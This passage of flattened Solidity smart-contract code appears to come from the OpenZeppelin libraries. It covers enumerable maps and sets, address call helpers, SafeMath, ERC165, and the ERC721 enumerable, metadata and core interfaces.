return (_contains(map, key), bytes32(0));
} else {
return (true, value);
}
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), "EnumerableMap: nonexistent key");
return value;
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), errorMessage);
return value;
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
UintToAddressMap storage map,
uint256 key,
address value
) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(
UintToAddressMap storage map,
uint256 key,
string memory errorMessage
) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
